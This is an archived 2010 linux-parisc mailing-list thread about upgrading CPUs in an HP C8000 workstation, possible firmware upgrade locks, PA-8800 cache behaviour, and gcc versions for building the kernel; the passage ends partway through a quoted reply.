To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 24 13:36:58 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9ysh-0000v5-UL
	for glpp-linux-parisc@lo.gmane.org; Sun, 24 Oct 2010 13:36:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932506Ab0JXLgz convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Oct 2010 07:36:55 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:52821 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932448Ab0JXLgy convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Oct 2010 07:36:54 -0400
Original-Received: by wyf28 with SMTP id 28so2390848wyf.19
        for <linux-parisc@vger.kernel.org>; Sun, 24 Oct 2010 04:36:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:cc:message-id:from:to
         :in-reply-to:content-type:content-transfer-encoding:mime-version
         :subject:date:references:x-mailer;
        bh=OT1P6LTbvd+qeKYl1dCmLRew8DOSzAPgHmNPsfYk0qw=;
        b=B8wWfDyburdgW1CT6FkcVPbzoMiSjT026axwWsvSzVuHfPKgaPZehTnuNN/j2ZEbWO
         ssH2lNa65XFx9SHOVBQ+dLI1honDbaEvqtD8MPrQfPsESNRsCB6Y+hgNGZt7nk/5nZwo
         cs+nQYLf2GtK/b82Ue0qzu55qXHv55l57v7Sc=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:cc:message-id:from:to:in-reply-to:content-type
         :content-transfer-encoding:mime-version:subject:date:references
         :x-mailer;
        b=khPLvaESa67grIbZbNB7nubQOxhlflklGX+RVHyczgQoNmfYX4ihZkAibCaGOd5PwK
         YTA4Zb2yew1UCPZLrX0DglP1sVLTP23dD4GanS6B2G7Y+IdD9bSkuD7guJt9xRoBvUUk
         4PXbM9kwbo2Qp0mLjwHdMS8SH4mIQHGczTgtQ=
Original-Received: by 10.216.11.202 with SMTP id 52mr4915689wex.28.1287920212035;
        Sun, 24 Oct 2010 04:36:52 -0700 (PDT)
Original-Received: from Gandalf.h0m3 (car75-1-87-88-101-48.dsl.club-internet.fr [87.88.101.48])
        by mx.google.com with ESMTPS id l51sm2977826wer.2.2010.10.24.04.36.50
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sun, 24 Oct 2010 04:36:50 -0700 (PDT)
In-Reply-To: <alpine.DEB.1.10.1010240504560.30241@artax.karlin.mff.cuni.cz>
X-Mailer: Apple Mail (2.936)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3165
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3165>

Le 24 oct. 10 =E0 05:18, Mikulas Patocka a =E9crit :
> On Sun, 24 Oct 2010, Thibaut VAR?NE wrote:

>> James rightfully pointed out that the best way to solve this issue =20
>> would be to
>> kindly ring a bell within HP and try to work this out on a one-on-=20
>> one basis,
>> hopefully avoiding calling names. HP has a history of being =20
>> relatively helpful
>> with that sort of matters, I'd expect this to turn for the best.
>
> I think that asking employees to do illegal things (or things against
> corporate rules) isn't a viable way to go.

I'm not suggesting anything like that.

> Once (a long time ago, on a totally different project) I got an =20
> offer for
> some internal code from an employee, who thought that it could =20
> improve my
> open source work. I refused it because I don't want to get into =20
> unneeded
> trouble. If I accepted it, I'd have to be careful to not ever disclos=
e
> implicitly or explicitly that I saw the code.


WTH? Clearly accessing HP's intellectual property and asking for a one-=
=20
time unique unlock password for phased out hardware are two very =20
different things, I'm sure you can undertand that.

=46WIW, rereading your emails, it looks like your CPU model doesn't =20
indeed support dual-processor configuration. Try asking for help on =20
HP's support forums. Competent people are generally around and might =20
be able to answer your questions.

Regarding speed upgrade, I don't know whether your machine would be =20
locked down or not. On server systems, changing CPUs for faster ones =20
generally requires Model Name change (and thus entering MFG mode, =20
etc), but as JDA pointed out, this may not be the case for workstations=
=2E

--=20
Thibaut VAR=C8NE
http://www.parisc-linux.org/~varenet/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 cpu upgrade problem
Date: Tue, 26 Oct 2010 04:04:16 +0200 (CEST)
Lines: 50
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010260401420.6982@artax.karlin.mff.cuni.cz>
References: <20101024040120.5DB054D30@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1288058666 15198 80.91.229.12 (26 Oct 2010 02:04:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 26 Oct 2010 02:04:26 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 26 04:04:25 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PAYtf-0008Pu-85
	for glpp-linux-parisc@lo.gmane.org; Tue, 26 Oct 2010 04:04:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755521Ab0JZCES (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 25 Oct 2010 22:04:18 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:52357 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753989Ab0JZCES (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 25 Oct 2010 22:04:18 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id 9AB8F980AE; Tue, 26 Oct 2010 04:04:16 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 96E5398090;
	Tue, 26 Oct 2010 04:04:16 +0200 (CEST)
In-Reply-To: <20101024040120.5DB054D30@hiauly1.hia.nrc.ca>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3166
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3166>

On Sun, 24 Oct 2010, John David Anglin wrote:

> > It may be that the lack of L2 cache is the reason why the CPUs don't 
> > support multiprocessing ... I may buy two better CPUs, if I had actually 
> > guarantee that the machine isn't locked (I don't want to waste more money 
> > just to find out that the firmware lock doesn't go away).
> 
> Are you sure the part numbers for the two processor modules that you
> have are the same?  Parts with cache seem much more common.  There
> also seem to be quite a few obsolete parts.

They are the same (I posted the version numbers written by PDC). But as 
you noted, the versions without L2 cache may not be smp aware.

> It might be Linux would work better without the L2 cache.

What is the exact problem with L2 cache? Is it virtually indexed too?

> There are are some cache coherency issues that haven't been resolved in 
> SMP.

What exactly do you mean?

> These problems are aggrevated by the L2 cache which takes a long 
> time to flush.
> 
> It's just not clear that your machine is locked.  The c8000 model
> name doesn't change depending on number of processors.  If you search
> on rp3410 processor upgrade, you will find that a processor update
> license is needed to go from one to two processor.  This is clear
> in the documentation.  I couldn't find anything similar for c8000.
> Indeed, there are many indications that an after-market processor
> update is possible for it.

I don't know. Before I buy two CPUs to get a quad-core system, I'd like to 
make sure it isn't locked. Can the lock be detected somehow?

Mikulas

> Good luck,
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: PA caches (was: C8000 cpu upgrade problem)
Date: Tue, 26 Oct 2010 04:16:39 +0200 (CEST)
Lines: 68
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010260404260.6982@artax.karlin.mff.cuni.cz>
References: <20101024020337.725094D30@hiauly1.hia.nrc.ca> <alpine.DEB.1.10.1010240432390.30241@artax.karlin.mff.cuni.cz> <20101024034314.GQ8332@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1288059405 17739 80.91.229.12 (26 Oct 2010 02:16:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 26 Oct 2010 02:16:45 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 26 04:16:43 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PAZ5f-0003Hr-Db
	for glpp-linux-parisc@lo.gmane.org; Tue, 26 Oct 2010 04:16:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757382Ab0JZCQm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 25 Oct 2010 22:16:42 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:44266 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756432Ab0JZCQm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 25 Oct 2010 22:16:42 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id BB5C19807C; Tue, 26 Oct 2010 04:16:39 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 6CFE49806B;
	Tue, 26 Oct 2010 04:16:39 +0200 (CEST)
In-Reply-To: <20101024034314.GQ8332@bombadil.infradead.org>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3167
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3167>



On Sat, 23 Oct 2010, Kyle McMartin wrote:

> On Sun, Oct 24, 2010 at 05:03:25AM +0200, Mikulas Patocka wrote:
> > I tried to measure the cache size, sequential memory read showed cutoff at 
> > 700kB and no cutoff at 32MB. It shows 1.7GB/s below 700kB and 612MB/s 
> > above. Latency measurements (chasing pointer chain) showed drastic cutoff 
> > at 700kB (from 3ns to 300ns) and no cutoff at 32MB.
> > 
> > It may be that the lack of L2 cache is the reason why the CPUs don't 
> > support multiprocessing ... I may buy two better CPUs, if I had actually 
> > guarantee that the machine isn't locked (I don't want to waste more money 
> > just to find out that the firmware lock doesn't go away).
> > 
> 
> FWIW, I'd recommend running in non-SMP mode on pa8800/8900 anyway, as

I tried UP build and it is almost twice slower when compiling (obviously). 
So I don't see any performance advantage in running UP :)

Generally, performance of two-way 900MHz machine is not that bad --- 5 
times faster compile than 440MHz sparc. It suffers only on tests involving 
mostly kernelwork, but no so seriously --- 3.5 times faster than said 
sparc when doing a "dummy" make of an already compiled project (just 
testing timestamps) and 1.2 times faster than sparc on make clean (ok, it 
sucks when re-calculated to clock-to-clock). Generally, I think it's 
usable for development.

I found that gcc 4.3 from Debian 5 is buggy, it miscompiled the UP kernel. 
Compiling it with -Os worked fine. Could you please recommend a compiler 
to use? (4.4 from Debian 6 ... or some other version?)

> our cache flushing is a bit... suboptimal right now (doing whole cache
> flushes on fork and such.)

What is exactly the problem there? Could you describe it or refer to some 
document that describes it? Why do you need to flush on fork?

Sparc has virtually indexed caches too, but there are not many problems 
with it, basically the only needed thing is to flush the cache when kernel 
touches some user page via its own mapping. (if they ran with 16kB page 
size, they wouldn't have to care about data cache coherency at all).

Another thing I don't understand: the L1 cache is supposed to be 
direct-mapped, but it's size is 768kB. I can't imagine how is it 
implemented. Does it mean that the processor does a divide-by-3 on every 
cache access?

Or is it a mistake and the cache is 3-way set associative, with set size 
256kB? (that would make much more sense)

> Which, coupled with the gigantic caches on
> those cpus which must be flushed just tanks performance.
> 
> I've been working on cleaning up jejb's patchset from back in the
> bitkeeper days to properly do deferred flushing, but time is constantly
> against me (sigh, I don't think I've even powered on my C8000 in a few
> years now... explains why I didn't catch your e1000 issue there. :)
> 
> --Kyle

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA caches (was: C8000 cpu upgrade problem)
Date: Mon, 25 Oct 2010 23:04:42 -0400
Lines: 89
Approved: news@gmane.org
Message-ID: <20101026030442.GS8332@bombadil.infradead.org>
References: <20101024020337.725094D30@hiauly1.hia.nrc.ca>
 <alpine.DEB.1.10.1010240432390.30241@artax.karlin.mff.cuni.cz>
 <20101024034314.GQ8332@bombadil.infradead.org>
 <alpine.DEB.1.10.1010260404260.6982@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1288062290 26452 80.91.229.12 (26 Oct 2010 03:04:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 26 Oct 2010 03:04:50 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 26 05:04:48 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PAZqA-0007J8-EO
	for glpp-linux-parisc@lo.gmane.org; Tue, 26 Oct 2010 05:04:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756778Ab0JZDEp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 25 Oct 2010 23:04:45 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:41251 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752958Ab0JZDEp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 25 Oct 2010 23:04:45 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1PAZq6-0003hq-Ea; Tue, 26 Oct 2010 03:04:42 +0000
Content-Disposition: inline
In-Reply-To: <alpine.DEB.1.10.1010260404260.6982@artax.karlin.mff.cuni.cz>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3168
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3168>

On Tue, Oct 26, 2010 at 04:16:39AM +0200, Mikulas Patocka wrote:
> I tried UP build and it is almost twice slower when compiling (obviously). 
> So I don't see any performance advantage in running UP :)
> 
> Generally, performance of two-way 900MHz machine is not that bad --- 5 
> times faster compile than 440MHz sparc. It suffers only on tests involving 
> mostly kernelwork, but no so seriously --- 3.5 times faster than said 
> sparc when doing a "dummy" make of an already compiled project (just 
> testing timestamps) and 1.2 times faster than sparc on make clean (ok, it 
> sucks when re-calculated to clock-to-clock). Generally, I think it's 
> usable for development.
> 

Heh. I think you may be lucking in here... see below.

> I found that gcc 4.3 from Debian 5 is buggy, it miscompiled the UP kernel. 
> Compiling it with -Os worked fine. Could you please recommend a compiler 
> to use? (4.4 from Debian 6 ... or some other version?)
> 

4.4.5 from sid is what I'm using... I think it's working more or less
for me. I've only been building/booting UP/SMP on an rp3440 these days,
so I'm not sure about 32-bit.

> > our cache flushing is a bit... suboptimal right now (doing whole cache
> > flushes on fork and such.)
> 
> What is exactly the problem there? Could you describe it or refer to some 
> document that describes it? Why do you need to flush on fork?
> 
> Sparc has virtually indexed caches too, but there are not many problems 
> with it, basically the only needed thing is to flush the cache when kernel 
> touches some user page via its own mapping. (if they ran with 16kB page 
> size, they wouldn't have to care about data cache coherency at all).
> 

I can't remember exactly why offhand, I'm sure jejb can remind us.

> Another thing I don't understand: the L1 cache is supposed to be 
> direct-mapped, but it's size is 768kB. I can't imagine how is it 
> implemented. Does it mean that the processor does a divide-by-3 on every 
> cache access?
> 
> Or is it a mistake and the cache is 3-way set associative, with set size 
> 256kB? (that would make much more sense)
> 

That's the output from one of the firmware queries, which has been lying
to us for a very long time (apparently HP just doesn't test these things
or something.) It believe the pa8800 L1 caches were 4-way associative.

So, on to the interesting bit!

Does your /proc/cpuinfo actually say 768kB? That's... amazingly
interesting. I wonder (out loud, sorry I should go back and look at the
prior emails) if that's the cause of your cpu issues...

processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8800 (Mako)
cpu MHz         : 999.995500
capabilities    : os64
model           : 9000/800/rp3440  
model name      : Storm Peak Fast
hversion        : 0x00008890
sversion        : 0x00000491
I-cache         : 32768 KB
D-cache         : 32768 KB (WB, direct mapped)
ITLB entries    : 240
DTLB entries    : 240 - shared with ITLB
bogomips        : 1998.84
software id     : 4468984695822677774

is what mine says... (with the 32MB L2 cache.)

Anyway, the L1 are usually 2/4-way associative on parisc, iirc, I
believe the L2 is as well.

The main problems we see on the pa8800 is due to the L2, which is
physically indexed, and exclusive. We had some bizarre
corruption due to incorrect evictions there. (And flushing 32MB on
fork is just utterly painful, we really need to fix that someday.)

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA caches (was: C8000 cpu upgrade problem)
Date: Tue, 26 Oct 2010 00:30:31 -0400 (EDT)
Lines: 84
Approved: news@gmane.org
Message-ID: <20101026043031.C1A1D4FB5@hiauly1.hia.nrc.ca>
References: <20101026030442.GS8332@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288067437 9663 80.91.229.12 (26 Oct 2010 04:30:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 26 Oct 2010 04:30:37 +0000 (UTC)
Cc: mikulas@artax.karlin.mff.cuni.cz, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 26 06:30:34 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PAbBC-0004em-2s
	for glpp-linux-parisc@lo.gmane.org; Tue, 26 Oct 2010 06:30:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751786Ab0JZEad (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Oct 2010 00:30:33 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1328 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751650Ab0JZEac (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Oct 2010 00:30:32 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id C1A1D4FB5; Tue, 26 Oct 2010 00:30:31 -0400 (EDT)
In-Reply-To: <20101026030442.GS8332@bombadil.infradead.org> from "Kyle McMartin" at Oct 25, 2010 11:04:42 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3169
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3169>

> > I found that gcc 4.3 from Debian 5 is buggy, it miscompiled the UP kernel. 
> > Compiling it with -Os worked fine. Could you please recommend a compiler 
> > to use? (4.4 from Debian 6 ... or some other version?)
> > 
> 
> 4.4.5 from sid is what I'm using... I think it's working more or less
> for me. I've only been building/booting UP/SMP on an rp3440 these days,
> so I'm not sure about 32-bit.

Almost all the bugs are middle-end problems.  Gradually, things have
been getting better, but resolving wrong code bugs is often difficult,
particularly if the compiler has been miscompiled.

Some of the things that hurt:
a) Strict alignment and wierd abi for passing structs.
b) Callee copies (almost all other archs are caller copy).

Recently, a serious bug in forward propagation was discovered.  It's
hard to tell the magnitude of its impact.

> > > our cache flushing is a bit... suboptimal right now (doing whole cache
> > > flushes on fork and such.)
> > 
> > What is exactly the problem there? Could you describe it or refer to some 
> > document that describes it? Why do you need to flush on fork?
> > 
> > Sparc has virtually indexed caches too, but there are not many problems 
> > with it, basically the only needed thing is to flush the cache when kernel 
> > touches some user page via its own mapping. (if they ran with 16kB page 
> > size, they wouldn't have to care about data cache coherency at all).
> > 
> 
> I can't remember exactly why offhand, I'm sure jejb can remind us.

The fundamental issue is the PA-8800 and PA-8900 implementations
don't support non equivalent aliasing.  So, copies to/from the
kernel mapping are tricky.

> That's the output from one of the firmware queries, which has been lying
> to us for a very long time (apparently HP just doesn't test these things
> or something.) It believe the pa8800 L1 caches were 4-way associative.
> 
> So, on to the interesting bit!
> 
> Does your /proc/cpuinfo actually say 768kB? That's... amazingly
> interesting. I wonder (out loud, sorry I should go back and look at the
> prior emails) if that's the cause of your cpu issues...
> 
> processor       : 0
> cpu family      : PA-RISC 2.0
> cpu             : PA8800 (Mako)
> cpu MHz         : 999.995500
> capabilities    : os64
> model           : 9000/800/rp3440  
> model name      : Storm Peak Fast
> hversion        : 0x00008890
> sversion        : 0x00000491
> I-cache         : 32768 KB
> D-cache         : 32768 KB (WB, direct mapped)
> ITLB entries    : 240
> DTLB entries    : 240 - shared with ITLB
> bogomips        : 1998.84
> software id     : 4468984695822677774
> 
> is what mine says... (with the 32MB L2 cache.)

My inspection of the datasheets for the c8000 indicated that the base
configuration was 2-way with no L2 cache (both PA8800 and PA8900).
It had a total cache size of 3 MB.  The optional PA8800 models were
2 and 4-way PA8800 with 32 MB L2 cache per processor module.  The optional
PA8900 models had 64 MB L2 per processor module.

Also, Mikulas machine is misidentified as Mako2.  Why does the model
for yours show it is a rp3440?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA caches (was: C8000 cpu upgrade problem)
Date: Tue, 26 Oct 2010 18:02:13 +0200 (CEST)
Lines: 180
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010261729410.25995@artax.karlin.mff.cuni.cz>
References: <20101024020337.725094D30@hiauly1.hia.nrc.ca> <alpine.DEB.1.10.1010240432390.30241@artax.karlin.mff.cuni.cz> <20101024034314.GQ8332@bombadil.infradead.org> <alpine.DEB.1.10.1010260404260.6982@artax.karlin.mff.cuni.cz>
 <20101026030442.GS8332@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1288108939 30351 80.91.229.12 (26 Oct 2010 16:02:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 26 Oct 2010 16:02:19 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 26 18:02:17 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PAlya-0007DP-Fk
	for glpp-linux-parisc@lo.gmane.org; Tue, 26 Oct 2010 18:02:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759994Ab0JZQCQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Oct 2010 12:02:16 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:47289 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759992Ab0JZQCP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Oct 2010 12:02:15 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id CC415980DD; Tue, 26 Oct 2010 18:02:13 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id CA77A9801B;
	Tue, 26 Oct 2010 18:02:13 +0200 (CEST)
In-Reply-To: <20101026030442.GS8332@bombadil.infradead.org>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3170
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3170>



On Mon, 25 Oct 2010, Kyle McMartin wrote:

> On Tue, Oct 26, 2010 at 04:16:39AM +0200, Mikulas Patocka wrote:
> > I tried UP build and it is almost twice slower when compiling (obviously). 
> > So I don't see any performance advantage in running UP :)
> > 
> > Generally, performance of two-way 900MHz machine is not that bad --- 5 
> > times faster compile than 440MHz sparc. It suffers only on tests involving 
> > mostly kernelwork, but no so seriously --- 3.5 times faster than said 
> > sparc when doing a "dummy" make of an already compiled project (just 
> > testing timestamps) and 1.2 times faster than sparc on make clean (ok, it 
> > sucks when re-calculated to clock-to-clock). Generally, I think it's 
> > usable for development.
> > 
> 
> Heh. I think you may be lucking in here... see below.
> 
> > I found that gcc 4.3 from Debian 5 is buggy, it miscompiled the UP kernel. 
